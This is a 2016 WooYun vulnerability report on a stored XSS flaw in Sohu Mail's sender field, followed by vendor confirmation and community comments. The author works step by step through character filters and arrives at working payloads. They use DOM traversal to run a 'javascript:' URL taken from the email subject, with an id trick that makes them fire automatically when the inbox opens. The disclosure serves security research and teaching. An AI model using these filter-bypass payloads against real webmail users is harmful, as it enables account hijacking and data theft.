当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167250

漏洞标题:搜狐邮箱储存型XSS(对 " < > ( ) [ ] \ % ; 都有过滤)

相关厂商:搜狐

漏洞作者: px1624

提交时间:2016-01-04 17:41

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:XSS 跨站脚本攻击

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-04: 细节已通知厂商并且等待厂商处理中
2016-01-04: 厂商已经确认,细节仅向厂商公开
2016-01-14: 细节向核心白帽子及相关领域专家公开
2016-01-24: 细节向普通白帽子公开
2016-02-03: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

一次很经典的黑盒XSS绕过分析,过滤这么多最终还是搞定了,这姿势应该是乌云首个案例吧!
现在乌云太多漏洞报告都是1个url+1张图片的形式了,希望以后能有比较多的像二哥那样的技术分享型的漏洞报告。

详细说明:

1 开始是奔着正文富文本区域去的,测了一会没测出啥给力的东西,然后随手给from参数的这里前面加了个 "><img src=x onerror=alert(1)>

1.png


2 看了下源码,发现过滤了,但是看到这个过滤结果,我感觉有戏,于是继续研究。

2.png


3 这里测试后发现,这里的from参数还不能随便改,必须要满足是以@sohu.com这种邮箱的形式结尾的才可以。

3.png


到现在,其实还是没啥情况的,根据上面过滤的情况来看,看情况这里是把" > < 这些直接过滤掉了,看来想要突破尖括号是不太可能了。这里试试能不能摸清这个双引号的过滤规则,然后在进行突破后,从而在td标签内部构造XSS。
4 然后就进行了一番测试。
输入 " onfocus="alert(2)"@sohu.com 会返回下面情况。

4.png


继续测试 " onfocus=alert(2)@sohu.com 会返回下面的情况。

5.png


经过一番测试后,发现这样可以突破 " onfocus="alert(2)//@sohu.com 会返回下面的情况。

6.png


5 上图中可以看到,已经突破双引号了,但是发现这里把括号 () 给过滤了啊。
不慌,用location='javascript:alert%281%29' 或者 location='javascript:alert\x281\x29' 不就行了呗。

输入 " onfocus="location='javascript:alert%281%29'//@sohu.com 返回下面情况。

7.png


输入" onfocus="location='javascript:alert\x281\x29'//@sohu.com 返回下面情况。

8.png


擦,貌似又给全部过滤了。
6 在这里捣鼓了很久,还是没能找出过滤机制,然后想到前面最开始是用的"><img src=x onerror=alert(1)>@sohu.com进行测试的,又回到这个姿势,看看><这些符号能不能绕过这里的机制。
输入了个 "><img onfocus=location='javascript:alert\x281\x29'//>@sohu.com
竟然有了不一样的返回情况了!
然而并没有什么卵用,因为反斜线\被过滤了。

9.png


然后又试了试 "><img onfocus=location='javascript:alert%281%29'//>@sohu.com 果然不出所料,百分号%也被过滤了。会返回下面的情况,直接输出不解析了。

10.png


html的编码也试了试,会直接从分号;位置截断,然后直接输出不解析。
比如输入"><img onfocus=location='javascript:alert&#40;1&#41;'//>@sohu.com 会返回下面情况。

11.png


7 到现在已经测了一个多小时了,到这一步,其实蛮蛋疼的,因为这里对 "<>()\%; 都有不同程度的过滤机制。
符号 "<>()\%; 这么多都不能用,那要怎么构造xss啊,其实最蛋疼的还是括号用不成。
看来这里想要直接构造是没戏了,只能换个思路了,能不能把js代码和给分开写。
看到二哥之前有过案例,在一个点限制比较多的时候,就转移到另一个点构造,比如将代码转到name位置,然后用this.name
类似于 <img name=javascript:alert(1) src=x onerror=location=this.name> 这样
但是这里的this.name的限制是和这个插入点一模一样啊,所以此路不通。
8 不知不觉已经搞了2个多小时了,头晕晕的,感觉走到一条不归路上了。百度翻了翻,也没找到啥好的灵感,自己也想不到啥好的姿势了,于是只能使出绝招了(那就是打开QQ, call一下二哥问问)。
果然柳暗花明又一村啊,二哥不愧是XSS之神啊,表示这个很好弄啊,this.name用不了了,你就location=xx.yy.zz.mm.innerHTML 就这样,找一个可以用的位置就可以了。
9 好吧,整理整理思路,继续搞,由于这个插入点是在发件人的位置,所以此页面可控的位置貌似就只有一处,就是标题这里。因为正文的内容在这里是不加载的,不然的话正文的富文本当然是最佳位置了。

12.png


10 寻找了下,这个测试点是在邮件列表的发件人的位置的缺陷,这里貌似只有邮件标题这个位置可以有想法了去组合构造下了。数一数,这个标题的<td>标签就是这个插入点的父节点的第9个元素。

13.png


那么就构造试试 "><img onfocus=location=this.parentNode.children[8].innerText//>@sohu.com
this.parentNode 会获取到这个插入点的父节点(也就是tr标签里面的节点),然后在children[8]就是获取这个节点的第9个元素,然后再innerText就可以获取到这个元素的文本部分的内容了。然后标题文本位置写入javascript:alert(1) 这样就可以构造成功一个XSS了,开心。
结果没想到中括号[]也被过滤了,直接从 [ 的位置给断成2部分了!

14.png


11 此时已经搞了3小时了吧,放平心态,继续分析。这里等于又不能用中括号[]了,那么换个姿势吧,继续看下面内容之前,这里先普及下js的DOM树节点的知识。
firstElementChild 第一个子元素节点
lastElementChild 最后一个子元素节点
nextElementSibling 下一个兄弟元素节点
previousElementSibling 前一个兄弟元素节点
这样在不能使用大括号[]的时候,就可以用firstElementChild 和 nextElementSibling组合,或者lastElementChild 和 previousElementSibling 组合来定位到自己想获取的那个元素了。

这里父节点一共有11个元素,我们想要获取的标题是排在第9个的,那么很明显用lastElementChild 和 previousElementSibling 组合比较方便,先去获取父节点,然后再获取最后一个,再获取前一个的前一个的text部分内容,那么代码就变成了。
"><img onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>@sohu.com
12 看下代码,终于成功写入了,但是并没有执行,因为这里只是随手用onfocus测试的,要想执行,还要加入tabindex=0才可以。

15.png


那么根据解析的情况改下代码。
"><tabindex=0 onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>@sohu.com
到这一步,在谷歌浏览器下,右键点击收件人这里,已经可以触发了。

16.png


13 不过搞了这么久,还要去右键点击,貌似很鸡助啊,所以我们还要想办法突破让其自动触发。这里要试着突破后构造这个让所有标签都适用的一个代码。
通杀所有标签的一个xss payload
<aaaa id="c" onfocus="alert(1)" tabindex=0>
访问地址的时候,后面需要加上#c
比如htm地址为http://xxxxxxxx.htm
那么XSS地址为http://xxxxxxxx.htm#c
观察下搜狐邮箱的收件箱的url是http://mail.sohu.com/bapp/177/main#mailList_1,那么也就是说,只要给这里代码在加入个 id=mailList_1 那么就可以自动触发了额!
14 但是事实往往不会这么简单,通过前面第一次插入的 "><img src=x onerror=alert(1)>@sohu.com的结果来看,这里想在目前代码的基础上直接再多写进个id属性是不可能的。
因为 "><img src=x onerror=alert(1)>会解析为 <td title="" img="" src="xonerror=alert&quot;@mx177.mail.sohu.com&quot;"的这种形式,也就是说直接用空格分隔,只能写进去最多2个属性。
然后这里我尝试用/去分隔"><img/src=x onerror=alert(1)>,会解析成 <td title="" img="" src="x" onerror="alert&quot;@mx177.mail.sohu.com&quot;" 看起来貌似可以,但是写成这样后。
"><tabindex=0/id=mailList_1 onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>@sohu.com
因为有了等号,就又会悲剧掉。

17.png


15 试了好多种姿势,都不行,后来我干脆就把这些被过滤的标签都试试,看看能不能出现因为过滤,导致某种解析上的问题从而写进元素。
"><tabindex=0<>id=mailList_1 onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>px1624%40sohu.com
"><tabindex=0[id=mailList_1 onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>px1624%40sohu.com
"><tabindex=0<id=mailList_1 onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>px1624%40sohu.com
......
终于,发现下面 [] 这个貌似可以截断,但是后面空格位置又会出问题。
"><tabindex=0[]id=mailList_1 onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>px1624%40sohu.com

18.png


那么=试试 "><tabindex=0[]id=mailList_1[]onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>px1624@sohu.com
发现成功写入了,看来这里的逻辑[]可以拿来当分隔的空字符使用了。

19.png


16 点击收件箱触发,具体原理如上图所示。收件箱的 #mailList_1 会根据id将焦点定位到td标签这里,然后触发onfocus,从而执行location,然后执行dom获取操作,然后获取到标题处的文本,从而形成XSS。

20.png


现在基本上支持DOM的主流浏览器就都可以通杀了,IE8以前的老版本IE浏览器下DOM控制的代码要稍微变下,属于兼容问题。如下即可
"><tabindex=0[]id=mailList_1[]onfocus=location=this.parentNode.lastChild.previousSibling.previousSibling.innerText//>px1624@sohu.com

21.png


当然写个外部js也完全不成问题,如下图,这里要注意下javascript:后面的js代码要先进行下url编码,不然会被从中间截断掉。

22.png

漏洞证明:

最终耗时了半天的时间成功搞定了。
总结:
多尝试,多思考,遇到困难了去百度,实在卡住前进不了了,就call二哥吧。

修复方案:

对过滤逻辑进行修改。

版权声明:转载请注明来源 px1624@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-01-04 20:26

厂商回复:

感谢支持。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-04 17:42 | _Thorns ( 普通白帽子 | Rank:1660 漏洞数:248 | WooYun is the Bigest gay place. 网络工...)

    这个标题好嗨。

  2. 2016-01-04 17:47 | 沦沦 ( 普通白帽子 | Rank:611 漏洞数:141 | 爱老婆,爱生活|脚步不能停要一直向上走)

    px复活了

  3. 2016-01-04 17:49 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:106 )

    这标题...

  4. 2016-01-04 17:56 | Ton7BrEak ( 普通白帽子 | Rank:245 漏洞数:50 | 吃苦耐劳,我只会第一个!)

    这要等多少天后才能看到这个经典的案例啊~

  5. 2016-01-04 17:59 | Submit ( 普通白帽子 | Rank:526 漏洞数:118 | 我在乌云等你哟)

    提前公开

  6. 2016-01-04 18:00 | f4ckbaidu ( 普通白帽子 | Rank:223 漏洞数:28 | 开发真是日了狗了)

    6666,mark学习

  7. 2016-01-04 18:00 | DNS ( 普通白帽子 | Rank:711 漏洞数:73 | root@qisec.com)

    坐等

  8. 2016-01-04 18:04 | Mark0smith ( 普通白帽子 | Rank:106 漏洞数:41 )

    期待

  9. 2016-01-04 18:05 | 紫霞仙子 认证白帽子 ( 普通白帽子 | Rank:2223 漏洞数:301 | 天天向上 !!!)

    膜拜 px大牛!!!

  10. 2016-01-04 18:08 | px1624 ( 普通白帽子 | Rank:1074 漏洞数:181 | px1624)

    这个绕过和利用姿势应该是乌云首个案例吧,闪电在哪里!

  11. 2016-01-04 18:09 | Let a person cry. ( 实习白帽子 | Rank:31 漏洞数:11 | xxoo)

    这么好的洞,居然没人顶,看标题就知道霸气了

  12. 2016-01-04 18:14 | 进击的zjx ( 普通白帽子 | Rank:1465 漏洞数:179 | 1000rank目标达成!撒花……)

    后排顶,还没有下雨

  13. 2016-01-04 18:14 | Mieless ( 实习白帽子 | Rank:35 漏洞数:10 | 我是来打酱油的。)

    ???

  14. 2016-01-04 18:16 | 方大核桃 ( 实习白帽子 | Rank:53 漏洞数:8 | 山东某高校学生)

    路人...路过....

  15. 2016-01-04 18:17 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1296 漏洞数:131 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    @px1624 2016年了 你可以进群了

  16. 2016-01-04 18:26 | 牛肉包子 ( 普通白帽子 | Rank:266 漏洞数:67 | baozisec)

    迷之标题

  17. 2016-01-04 18:33 | 大师兄 ( 路人 | Rank:29 漏洞数:7 | 每日必关注乌云)

  18. 2016-01-04 18:46 | answer 认证白帽子 ( 普通白帽子 | Rank:397 漏洞数:49 | 答案)

    我是被标题强行吸引的

  19. 2016-01-04 18:51 | 404notfound ( 普通白帽子 | Rank:215 漏洞数:62 | 天朝教育网杀神)

    火钳刘明

  20. 2016-01-04 18:52 | px1624 ( 普通白帽子 | Rank:1074 漏洞数:181 | px1624)

    @answer @牛肉包子 @玉林嘎 @_Thorns 绝对不是标题党。(๑• . •๑)

  21. 2016-01-04 18:56 | 404notfound ( 普通白帽子 | Rank:215 漏洞数:62 | 天朝教育网杀神)

    @px1624 没图没真相

  22. 2016-01-04 19:01 | JGHOOluwa ( 普通白帽子 | Rank:410 漏洞数:63 | 就是来看看大牛们如何超神的^-^)

    MARK

  23. 2016-01-04 19:26 | 酸奶、 ( 普通白帽子 | Rank:257 漏洞数:46 )

    膜拜 px大牛!!!

  24. 2016-01-04 19:48 | mramydnei ( 普通白帽子 | Rank:381 漏洞数:84 | 一个逗逼运维)

    邮箱xss能有闪电的话,我现在就来一发qq邮箱的正文存储。

  25. 2016-01-04 19:58 | px1624 ( 普通白帽子 | Rank:1074 漏洞数:181 | px1624)

    @mramydnei m锅 你来了

  26. 2016-01-04 20:01 | px1624 ( 普通白帽子 | Rank:1074 漏洞数:181 | px1624)

    @mramydnei 和一般xss利用有点不同。万一真闪电了,你的存货就要扔出来了吧。

  27. 2016-01-04 20:05 | mramydnei ( 普通白帽子 | Rank:381 漏洞数:84 | 一个逗逼运维)

    @px1624 我这不是想骗个闪电么 haha

  28. 2016-01-04 20:28 | 坏男孩-A_A ( 路人 | Rank:28 漏洞数:11 | 膜拜学习中)

    @搜狐 修好了提前公开学习下如何

  29. 2016-01-04 20:30 | px1624 ( 普通白帽子 | Rank:1074 漏洞数:181 | px1624)

    @mramydnei 码字码了3小时~ 我估计厂商都没看完就确认了

  30. 2016-01-04 20:37 | Submit ( 普通白帽子 | Rank:526 漏洞数:118 | 我在乌云等你哟)

    搜狐表示对此有强烈的不服,因此给8RANK!祝好!

  31. 2016-01-04 20:39 | px1624 ( 普通白帽子 | Rank:1074 漏洞数:181 | px1624)

    @Ton7BrEak 貌似可以支付wb提前很早看到内容

  32. 2016-01-04 20:54 | k0_pwn ( 实习白帽子 | Rank:95 漏洞数:12 | 专注且自由)

    @px1624 看来内容干的要命!是不是都可以扔到drops了

  33. 2016-01-04 21:21 | xss_art ( 路人 | Rank:11 漏洞数:3 | 只会弹框框的跨站师。。。。)

    mark,坐等公开学习

  34. 2016-01-04 21:25 | px1624 ( 普通白帽子 | Rank:1074 漏洞数:181 | px1624)

    @k0_pwn 差不多。。。

  35. 2016-01-04 21:57 | Weiy、 ( 普通白帽子 | Rank:111 漏洞数:25 | 为了梦想我会一直前行、)

    我的个天啊、

  36. 2016-01-04 23:02 | 李小弟 ( 路人 | Rank:1 漏洞数:1 | \-)(-/)

    为了学习,不得不留名

  37. 2016-01-05 09:21 | 爱捣蛋的鬼 ( 实习白帽子 | Rank:41 漏洞数:6 | 爱捣蛋的鬼)

    求公开

  38. 2016-01-05 09:42 | ledoo ( 实习白帽子 | Rank:71 漏洞数:11 | alert("ledoo");)

    膜拜 px大牛!!!

  39. 2016-01-05 10:26 | 这只猪 ( 路人 | Rank:24 漏洞数:6 | )(2009年荣获CCAV首届挖洞大使称号)(★★★...)

    坐等公开!

  40. 2016-01-05 10:45 | 背影 ( 路人 | Rank:29 漏洞数:4 )

    换句话说就是要利用很曲折不易难触发

  41. 2016-01-05 10:58 | N0Hacker ( 路人 | Rank:8 漏洞数:2 | N0Hacker)

    膜拜!!

  42. 2016-01-05 11:59 | px1624 ( 普通白帽子 | Rank:1074 漏洞数:181 | px1624)

    @背影 嗯,差不多,设想下就算告诉你那里有xss,但是过滤了这么多东西,让一般人去构造也不一定能构造出来。

  43. 2016-01-05 12:30 | 小杰哥 ( 普通白帽子 | Rank:207 漏洞数:32 | 逆水行舟,不进则退。)

    666 好嗨!

  44. 2016-01-05 13:46 | 爱捣蛋的鬼 ( 实习白帽子 | Rank:41 漏洞数:6 | 爱捣蛋的鬼)

    @px1624 是用了es6得特性吗, 我记得有类似的alert`1`这种

  45. 2016-01-05 13:47 | px1624 ( 普通白帽子 | Rank:1074 漏洞数:181 | px1624)

    @爱捣蛋的鬼 。。。你想多了,基本是通杀浏览器的。

  46. 2016-01-05 13:50 | 爱捣蛋的鬼 ( 实习白帽子 | Rank:41 漏洞数:6 | 爱捣蛋的鬼)

    @px1624 好吧,等公开学习学习

  47. 2016-01-05 17:48 | 卡卡 ( 普通白帽子 | Rank:463 漏洞数:56 | <script>alert('安全团队长期招人')</scrip...)

    吓得我赶紧坐起来了

  48. 2016-01-21 11:33 | boooooom 认证白帽子 ( 普通白帽子 | Rank:473 漏洞数:51 | 我有一个好想法!)

    黑客精神点赞

  49. 2016-01-25 10:07 | Ton7BrEak ( 普通白帽子 | Rank:245 漏洞数:50 | 吃苦耐劳,我只会第一个!)

    很经典的教程式漏洞~大赞啊!

  50. 2016-01-29 16:42 | 小川 认证白帽子 ( 核心白帽子 | Rank:1471 漏洞数:224 | 一个致力要将乌云变成搞笑论坛的男人)

    太执着了

  51. 2016-01-29 17:37 | px1624 ( 普通白帽子 | Rank:1074 漏洞数:181 | px1624)

    @小川 哈哈

  52. 2016-01-29 17:37 | px1624 ( 普通白帽子 | Rank:1074 漏洞数:181 | px1624)

    @Ton7BrEak 分享促进进步